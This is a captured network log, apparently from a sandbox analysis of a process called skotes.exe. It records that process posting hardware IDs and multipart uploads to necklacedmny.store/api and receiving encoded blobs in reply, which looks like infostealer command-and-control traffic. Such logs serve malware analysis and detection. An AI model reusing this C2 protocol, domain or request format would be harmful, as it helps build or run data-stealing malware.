2024-10-29 19:35:37 UTC	214	IN	Data Raw: 64 30 0d 0a 52 57 4e 45 4f 42 35 4d 76 73 35 30 4b 72 70 70 76 41 4b 69 61 33 76 57 78 53 77 66 66 39 51 62 54 7a 4c 4c 73 30 4a 4b 77 36 63 65 47 47 5a 4e 50 48 61 63 70 67 42 65 79 6c 50 67 4c 66 35 45 53 75 37 77 41 69 31 4f 34 54 56 2b 41 2f 69 64 63 33 79 66 69 43 6f 46 49 6d 51 78 4b 4e 75 6f 57 6b 2f 43 44 4a 34 75 67 41 30 50 39 50 38 63 4d 31 32 78 4f 58 55 43 74 70 38 35 61 4c 61 46 66 30 45 73 54 47 6f 38 68 4a 4a 62 64 70 56 59 68 44 65 4d 57 55 72 6a 36 78 30 75 54 50 6f 71 65 57 37 6b 33 69 73 6b 70 76 74 71 45 53 56 57 65 69 50 54 34 42 46 53 33 30 75 51 49 4d 51 66 57 65 7a 31 41 44 30 61 39 69 46 2f 54 35 59 3d 0d 0a Data Ascii: d0RWNEOB5Mvs50KrppvAKia3vWxSwff9QbTzLLs0JKw6ceGGZNPHacpgBeylPgLf5ESu7wAi1O4TV+A/idc3yfiCoFImQxKNuoWk/CDJ4ugA0P9P8cM12xOXUCtp85aLaFf0EsTGo8hJJbdpVYhDeMWUrj6x0uTPoqeW7k3iskpvtqESVWeiPT4BFS30uQIMQfWez1AD0a9iF/T5Y=
2024-10-29 19:35:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49985	188.114.96.3	443	4308	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:36:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 19:36:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 19:36:25 UTC	1011	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kiikqtbtp8238dqp9jka2dt6cg; expires=Sat, 22 Feb 2025 13:23:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tidkoOxWzZg9XfFYa7l%2BexM26krfBQkymJBUL499Exc160c1NiCIsAA95rWzjFImeIDsE5igoBicDrh3FDpmU2PrdGHeDiHZ7YbgrcWjQSzk4%2BSnN98kpvnNdd6mHHs2zLtIwjU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59d46df0d6c6c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1907&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1419607&cwnd=241&unsent_bytes=0&cid=42cd8d8ab1c00095&ts=579&x=0"
2024-10-29 19:36:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 19:36:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49987	188.114.96.3	443	4308	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:36:26 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 19:36:26 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 19:36:27 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=52q8kf2hpr17qs26k64536c7ce; expires=Sat, 22 Feb 2025 13:23:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7W9ckiT0egOjAXbx6xpUtKkg8tTT93xNMY2UkY951YrxdYj3CLl8McUfCgRTss3P%2BzI7o1Is4v7MF66NGsZpOduIzLD%2FWLxvxR4VgdPa9aOzc3i5arD4zE%2FbXI9CpI9z5lo103M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59d4e4bc96c7c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1170&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2399337&cwnd=247&unsent_bytes=0&cid=b877ece1b919453a&ts=494&x=0"
2024-10-29 19:36:27 UTC	356	IN	Data Raw: 34 34 36 63 0d 0a 30 38 66 74 52 2b 34 44 49 76 37 2b 6d 7a 6d 47 57 68 69 51 34 55 6b 4b 68 64 53 4f 34 2f 45 68 4a 41 2b 74 63 58 2b 54 51 38 79 6f 35 5a 74 6c 31 44 63 4f 33 49 33 2b 47 37 77 75 61 75 57 45 5a 53 6a 6b 73 4b 7a 5a 6c 30 42 49 66 4d 68 64 58 65 55 75 37 75 6d 68 6a 43 75 64 5a 67 37 63 6d 2b 4d 62 76 41 46 6a 73 6f 51 6e 4b 4c 2f 32 36 34 6d 54 51 45 68 74 7a 42 6f 51 34 79 2b 76 75 36 75 4b 4c 34 74 67 52 70 2b 53 39 6c 7a 6a 50 33 6e 36 6a 79 42 6e 37 62 6d 73 7a 39 4e 45 58 69 32 58 55 7a 4c 32 4e 36 32 65 70 70 34 73 7a 48 34 4f 68 64 7a 2b 56 36 52 67 4f 76 47 45 4b 32 62 6a 73 4f 57 4c 6d 55 6c 41 62 4d 6b 62 44 2f 6f 6c 70 4c 75 6c 69 53 36 42 61 56 4b 53 6d 50 46 58 35 54 56 35 73 73 31 72 62 2f 2f 32 74 4d 48 41 63 55 56 38 33 Data Ascii: 446c08ftR+4DIv7+mzmGWhiQ4UkKhdSO4/EhJA+tcX+TQ8yo5Ztl1DcO3I3+G7wuauWEZSjksKzZl0BIfMhdXeUu7umhjCudZg7cm+MbvAFjsoQnKL/264mTQEhtzBoQ4y+vu6uKL4tgRp+S9lzjP3n6jyBn7bmsz9NEXi2XUzL2N62epp4szH4Ohdz+V6RgOvGEK2bjsOWLmUlAbMkbD/olpLuliS6BaVKSmPFX5TV5ss1rb//2tMHAcUV83
2024-10-29 19:36:27 UTC	1369	IN	Data Raw: 43 4f 6c 50 4a 51 34 53 70 78 2b 34 34 6d 61 4f 71 38 34 34 4b 54 52 45 78 6e 77 42 6b 5a 2f 43 79 6f 73 61 58 50 61 38 78 6d 57 4e 7a 45 75 58 6a 68 4b 48 33 2b 6c 57 6c 53 70 36 6d 69 6d 4e 4e 45 53 69 32 58 55 78 58 30 49 71 32 36 71 6f 77 74 68 33 4e 41 6a 70 72 30 58 76 59 2b 66 2f 79 4a 4b 48 72 74 75 4f 71 43 6d 6b 68 50 61 4d 67 58 58 62 39 68 71 61 6e 6c 31 32 57 74 62 45 75 51 6c 75 35 62 70 43 63 30 36 38 4d 73 5a 4b 66 75 72 49 57 53 52 30 64 70 77 52 30 5a 2f 53 65 67 76 4b 71 4a 4c 34 78 6d 53 70 53 55 2b 46 62 76 4e 33 72 33 6a 69 39 75 36 37 66 70 77 64 30 44 51 58 57 50 53 31 33 66 4a 71 32 6a 35 37 6f 6d 67 6d 39 48 69 74 7a 6d 46 66 31 34 66 66 37 44 63 79 6a 70 73 2b 4f 54 6b 6c 46 44 59 39 30 66 47 50 63 73 72 62 2b 6c 69 69 4b 42 62 Data Ascii: COlPJQ4Spx+44maOq844KTRExnwBkZ/CyosaXPa8xmWNzEuXjhKH3+lWlSp6mimNNESi2XUxX0Iq26qowth3NAjpr0XvY+f/yJKHrtuOqCmkhPaMgXXb9hqanl12WtbEuQlu5bpCc068MsZKfurIWSR0dpwR0Z/SegvKqJL4xmSpSU+FbvN3r3ji9u67fpwd0DQXWPS13fJq2j57omgm9HitzmFf14ff7Dcyjps+OTklFDY90fGPcsrb+liiKBb
2024-10-29 19:36:27 UTC	1369	IN	Data Raw: 6d 46 66 31 34 66 66 37 44 63 79 6a 72 76 2b 79 4b 6d 55 64 47 61 73 49 57 48 76 59 69 6f 37 61 76 67 53 4b 49 62 55 6d 52 6d 76 6c 63 34 44 31 6f 39 34 6f 6e 5a 4b 66 34 72 49 61 4c 41 78 34 74 34 42 51 4c 38 67 36 74 6f 4b 7a 50 4f 73 4a 34 41 4a 75 51 75 51 4f 6b 50 33 2f 36 69 43 31 67 35 36 54 70 6a 35 68 43 54 47 76 4f 48 68 48 33 49 61 2b 78 6f 34 4d 6c 69 32 5a 53 6a 70 6e 2f 53 65 35 34 4e 4c 4b 45 4d 79 69 2f 39 74 71 52 68 46 4a 51 4c 2f 6f 51 45 2f 38 6d 75 50 47 36 77 54 7a 4d 5a 6b 7a 63 78 4c 6c 51 35 44 52 39 2b 6f 55 76 59 4f 69 35 35 5a 4f 53 54 30 68 2f 79 42 4d 55 2f 79 36 69 75 4b 69 49 4b 49 64 72 54 5a 69 62 2b 42 75 71 65 48 33 71 77 33 4d 6f 30 61 62 68 6a 62 31 49 53 6d 53 50 44 46 50 6f 59 61 6d 39 35 64 64 6c 69 47 31 49 6c 70 Data Ascii: mFf14ff7Dcyjrv+yKmUdGasIWHvYio7avgSKIbUmRmvlc4D1o94onZKf4rIaLAx4t4BQL8g6toKzPOsJ4AJuQuQOkP3/6iC1g56Tpj5hCTGvOHhH3Ia+xo4Mli2ZSjpn/Se54NLKEMyi/9tqRhFJQL/oQE/8muPG6wTzMZkzcxLlQ5DR9+oUvYOi55ZOST0h/yBMU/y6iuKiIKIdrTZib+BuqeH3qw3Mo0abhjb1ISmSPDFPoYam95ddliG1Ilp
2024-10-29 19:36:27 UTC	1369	IN	Data Raw: 50 48 33 32 68 53 51 6f 71 66 62 72 6d 64 4d 62 42 6b 4c 6f 4a 6c 2f 51 47 2b 36 75 36 35 5a 6c 69 32 30 41 78 4e 7a 31 57 4f 67 77 64 66 53 4b 4a 32 4c 75 76 65 43 4b 6c 30 39 50 61 4d 6b 53 47 50 51 67 71 72 32 76 69 53 61 50 62 6b 2b 54 6c 4c 6b 56 70 44 39 69 73 74 74 72 54 66 43 39 34 6f 66 54 58 41 68 30 6a 78 51 52 73 58 6e 75 76 61 79 4a 49 34 6c 74 51 5a 71 55 2f 46 50 67 4f 58 7a 30 67 43 52 73 34 72 66 6a 68 5a 39 4e 54 47 7a 4f 48 78 62 2b 4b 71 76 78 36 38 38 69 6c 43 45 59 33 4b 33 36 54 66 4d 6f 64 72 4b 63 5a 58 47 6e 73 65 44 42 79 77 4e 48 66 38 55 5a 45 2f 51 75 71 37 4b 71 69 43 69 4b 62 55 71 56 6c 50 39 55 37 53 70 35 2f 6f 30 73 5a 75 75 34 34 59 75 51 54 67 59 6a 6a 78 51 46 73 58 6e 75 6e 61 4b 43 43 34 64 74 52 39 79 44 74 30 4b Data Ascii: PH32hSQoqfbrmdMbBkLoJl/QG+6u65Zli20AxNz1WOgwdfSKJ2LuveCKl09PaMkSGPQgqr2viSaPbk+TlLkVpD9isttrTfC94ofTXAh0jxQRsXnuvayJI4ltQZqU/FPgOXz0gCRs4rfjhZ9NTGzOHxb+Kqvx688ilCEY3K36TfModrKcZXGnseDBywNHf8UZE/Quq7KqiCiKbUqVlP9U7Sp5/o0sZuu44YuQTgYjjxQFsXnunaKCC4dtR9yDt0K
2024-10-29 19:36:27 UTC	1369	IN	Data Raw: 5a 74 72 4d 4b 65 41 36 35 47 44 51 41 52 63 32 52 41 4c 2b 69 79 69 38 62 72 42 50 4d 78 6d 54 4e 7a 45 75 56 33 72 4d 58 6e 39 67 69 4a 6b 36 72 50 6c 68 4a 4a 46 51 6d 66 46 45 78 76 33 49 4b 75 37 70 6f 34 76 68 57 5a 49 6d 35 2f 72 47 36 70 34 66 65 72 44 63 79 6a 4f 73 66 36 50 67 77 4e 5a 49 39 5a 54 47 76 31 68 39 76 47 68 68 53 71 49 5a 6b 79 61 6d 66 39 57 35 54 64 37 38 6f 77 76 59 2b 36 77 37 59 79 57 54 6b 4a 2f 78 52 67 53 2f 53 69 69 76 4f 58 42 5a 59 74 35 41 4d 54 63 79 46 62 71 4e 6e 33 6b 77 7a 51 6d 2f 76 62 72 6a 64 4d 62 42 6d 7a 44 48 42 37 2b 49 71 32 77 72 35 30 33 67 47 68 49 6d 5a 44 79 56 65 49 71 66 50 32 4b 4b 47 76 75 73 65 53 4e 6d 55 42 42 4c 59 46 54 47 75 6c 68 39 76 47 47 6d 44 57 42 49 56 2f 53 68 62 6c 63 36 48 67 69 Data Ascii: ZtrMKeA65GDQARc2RAL+iyi8brBPMxmTNzEuV3rMXn9giJk6rPlhJJFQmfFExv3IKu7po4vhWZIm5/rG6p4ferDcyjOsf6PgwNZI9ZTGv1h9vGhhSqIZkyamf9W5Td78owvY+6w7YyWTkJ/xRgS/SiivOXBZYt5AMTcyFbqNn3kwzQm/vbrjdMbBmzDHB7+Iq2wr503gGhImZDyVeIqfP2KKGvuseSNmUBBLYFTGulh9vGGmDWBIV/Shblc6Hgi
2024-10-29 19:36:27 UTC	1369	IN	Data Raw: 33 68 75 65 4f 49 6d 6b 64 4f 62 73 38 58 47 66 59 6b 72 62 32 75 69 43 61 44 5a 55 6d 53 6c 66 59 62 71 6e 68 39 36 73 4e 7a 4b 4d 61 74 37 34 32 65 41 31 6b 6a 31 6c 4d 61 2f 57 48 32 38 61 6d 42 49 49 78 72 52 70 69 5a 2f 31 48 68 4f 48 48 78 6a 43 39 75 34 37 6e 73 69 70 70 43 51 47 6a 46 47 42 76 38 49 71 69 33 35 63 46 6c 69 33 6b 41 78 4e 7a 5a 51 4f 6b 30 66 62 4b 63 5a 58 47 6e 73 65 44 42 79 77 4e 4e 59 63 73 55 48 66 77 69 70 72 53 68 68 53 43 4d 61 56 4b 55 6e 50 35 4a 39 6a 68 7a 39 34 38 6f 61 4f 4f 77 35 59 65 51 52 77 59 6a 6a 78 51 46 73 58 6e 75 6e 4b 6d 49 44 49 74 36 41 49 50 53 34 42 76 6a 4e 44 71 71 77 79 70 6a 37 62 6e 68 67 70 56 41 54 57 6a 46 45 68 72 35 4c 4c 79 79 71 6f 41 68 6a 47 35 47 6d 70 33 32 58 65 4d 78 65 2f 71 45 61 Data Ascii: 3hueOImkdObs8XGfYkrb2uiCaDZUmSlfYbqnh96sNzKMat742eA1kj1lMa/WH28amBIIxrRpiZ/1HhOHHxjC9u47nsippCQGjFGBv8Iqi35cFli3kAxNzZQOk0fbKcZXGnseDBywNNYcsUHfwiprShhSCMaVKUnP5J9jhz948oaOOw5YeQRwYjjxQFsXnunKmIDIt6AIPS4BvjNDqqwypj7bnhgpVATWjFEhr5LLyyqoAhjG5Gmp32XeMxe/qEa
2024-10-29 19:36:27 UTC	1369	IN	Data Raw: 4c 6c 35 6c 45 56 6d 72 59 48 46 32 2f 59 61 48 78 2f 62 5a 6c 68 57 5a 62 6a 59 72 30 53 2b 4e 34 52 62 7a 44 4d 79 69 2f 39 74 6d 43 6e 55 31 42 65 39 35 65 4f 75 63 72 71 61 47 69 6d 43 72 4d 4c 77 43 61 33 4b 45 49 71 6e 68 2b 34 38 4e 7a 4f 4c 58 74 75 64 4c 45 45 78 52 79 67 51 70 64 35 32 48 32 34 2b 76 50 4e 38 77 35 41 4e 75 66 36 30 6e 69 4f 32 7a 78 78 42 56 57 77 4b 7a 68 68 34 52 53 65 46 50 49 43 52 44 33 4e 72 2f 39 73 49 77 72 67 6d 5a 57 33 4e 4b 35 56 4b 52 67 51 37 4c 4c 61 31 65 70 39 76 54 42 79 77 4e 7a 62 73 45 64 47 75 63 77 34 35 61 2f 67 69 4f 62 63 41 44 53 33 50 38 62 76 47 67 30 73 6f 63 36 4b 4c 2f 6d 76 74 72 47 45 42 45 39 6e 51 78 54 36 47 47 34 38 66 33 64 61 38 78 7a 41 4d 54 63 76 6c 6a 32 4b 6e 7a 78 6c 53 67 76 32 59 Data Ascii: Ll5lEVmrYHF2/YaHx/bZlhWZbjYr0S+N4RbzDMyi/9tmCnU1Be95eOucrqaGimCrMLwCa3KEIqnh+48NzOLXtudLEExRygQpd52H24+vPN8w5ANuf60niO2zxxBVWwKzhh4RSeFPICRD3Nr/9sIwrgmZW3NK5VKRgQ7LLa1ep9vTBywNzbsEdGucw45a/giObcADS3P8bvGg0soc6KL/mvtrGEBE9nQxT6GG48f3da8xzAMTcvlj2KnzxlSgv2Y
2024-10-29 19:36:27 UTC	1369	IN	Data Raw: 64 6b 56 6a 77 52 51 4c 34 47 79 4a 76 36 4b 4f 4d 35 78 32 54 39 7a 53 75 56 32 6b 59 43 69 38 77 79 39 35 70 2b 36 38 30 38 67 57 46 54 71 66 51 51 4b 2f 4f 4f 36 6e 35 64 64 33 77 69 46 53 33 4d 53 35 48 4f 63 71 61 50 53 41 50 57 75 67 69 4e 4b 6d 6e 55 52 48 65 39 38 45 45 72 34 50 6d 4a 43 62 73 54 43 50 62 30 36 62 69 75 67 62 71 6e 68 31 73 74 73 53 4b 4b 2f 32 30 38 2f 54 57 77 59 31 6a 79 59 65 2f 79 2b 70 70 37 54 43 41 6f 4a 6d 51 59 71 4d 37 6c 53 72 46 6b 7a 54 77 32 55 6f 34 66 61 30 30 39 30 44 51 6e 79 50 53 30 32 6a 65 76 76 69 38 74 39 33 6b 79 39 5a 33 49 71 35 41 37 5a 32 4f 75 44 44 63 79 69 67 74 66 36 54 6c 55 42 51 62 6f 67 74 49 39 59 76 71 62 43 7a 6e 79 69 41 51 45 4f 4e 6c 73 64 6c 38 54 74 30 2f 49 51 39 65 61 66 34 72 49 37 Data Ascii: dkVjwRQL4GyJv6KOM5x2T9zSuV2kYCi8wy95p+6808gWFTqfQQK/OO6n5dd3wiFS3MS5HOcqaPSAPWugiNKmnURHe98EEr4PmJCbsTCPb06biugbqnh1stsSKK/208/TWwY1jyYe/y+pp7TCAoJmQYqM7lSrFkzTw2Uo4fa0090DQnyPS02jevvi8t93ky9Z3Iq5A7Z2OuDDcyigtf6TlUBQbogtI9YvqbCznyiAQEONlsdl8Tt0/IQ9eaf4rI7
2024-10-29 19:36:27 UTC	1369	IN	Data Raw: 39 6f 51 44 66 59 66 6b 4a 79 33 69 44 57 50 49 32 79 62 6b 66 56 6c 32 67 39 72 39 5a 4e 70 54 75 53 67 37 38 48 64 41 31 34 74 6c 31 4d 77 34 79 61 2b 73 75 65 6a 49 6f 46 74 41 49 50 53 34 42 76 79 65 43 4b 68 7a 57 74 36 70 2b 36 73 78 70 42 52 56 47 76 4d 42 52 36 32 48 35 43 63 74 34 67 31 6a 79 4e 78 6b 5a 6a 76 54 75 63 6f 66 63 79 39 42 6e 72 67 70 75 2f 44 74 6e 6b 45 58 4e 6b 51 48 66 38 6d 37 76 2f 6c 6c 32 58 55 49 57 32 4f 6d 2b 6c 59 70 68 31 41 73 4c 49 39 61 2b 65 34 36 38 47 4d 44 56 38 74 32 56 4e 46 6f 6d 2f 75 6f 2b 58 58 5a 63 74 76 54 5a 32 66 39 31 6a 32 4b 6e 7a 78 6c 53 67 76 32 59 6a 44 69 70 4a 54 53 33 7a 43 46 77 76 50 48 34 6d 33 6f 49 67 62 73 6c 5a 52 6d 34 79 37 66 65 63 75 65 62 4c 4e 61 33 43 6e 37 71 79 6d 6c 55 5a 42 Data Ascii: 9oQDfYfkJy3iDWPI2ybkfVl2g9r9ZNpTuSg78HdA14tl1Mw4ya+suejIoFtAIPS4BvyeCKhzWt6p+6sxpBRVGvMBR62H5Cct4g1jyNxkZjvTucofcy9Bnrgpu/DtnkEXNkQHf8m7v/ll2XUIW2Om+lYph1AsLI9a+e468GMDV8t2VNFom/uo+XXZctvTZ2f91j2KnzxlSgv2YjDipJTS3zCFwvPH4m3oIgbslZRm4y7fecuebLNa3Cn7qymlUZB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49988	188.114.96.3	443	4308	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:36:28 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-29 19:36:28 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:36:33 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gaelfs2cnre8vlja2nck6jkufu; expires=Sat, 22 Feb 2025 13:23:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t5%2FLA%2B59f0ZEoT58sdHXg%2FOwL3cQlWV57qlBEwmZ0FETmc1y9FOt8ev69iRxUNQ95QUip25edBtxYfio5prc5hByvpqLrD8VFdXidaI78Eaw1owMi%2BqoZ4JYqZLPPdbRJMJou44%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59d585f94b0d9-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19913&sent=7&recv=16&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13791&delivery_rate=145104&cwnd=32&unsent_bytes=0&cid=a81e76e4e9b90be3&ts=4585&x=0"
2024-10-29 19:36:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:36:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49990	188.114.96.3	443	4308	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:36:34 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-10-29 19:36:34 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:36:34 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2iqbb36g1179mq5klv2vnnst36; expires=Sat, 22 Feb 2025 13:23:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lSQ9g4HsBOJGJKHAa2hp15uVviUxemb6xyJ1bElf2H%2BgKowBp38i39%2BEZ7BrGBPbLTmUyI51%2FPh4kE7beEb%2FaOzLQwd%2FfPJOAc2X3Z4rcXzdk7s0H1Ot0zkAZz%2F5rJzZs9jEwII%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59d7e3fd0468a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1971&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16023&delivery_rate=1517819&cwnd=247&unsent_bytes=0&cid=7575c1f95ec3789c&ts=626&x=0"
2024-10-29 19:36:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:36:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49992	188.114.96.3	443	4308	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:36:36 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
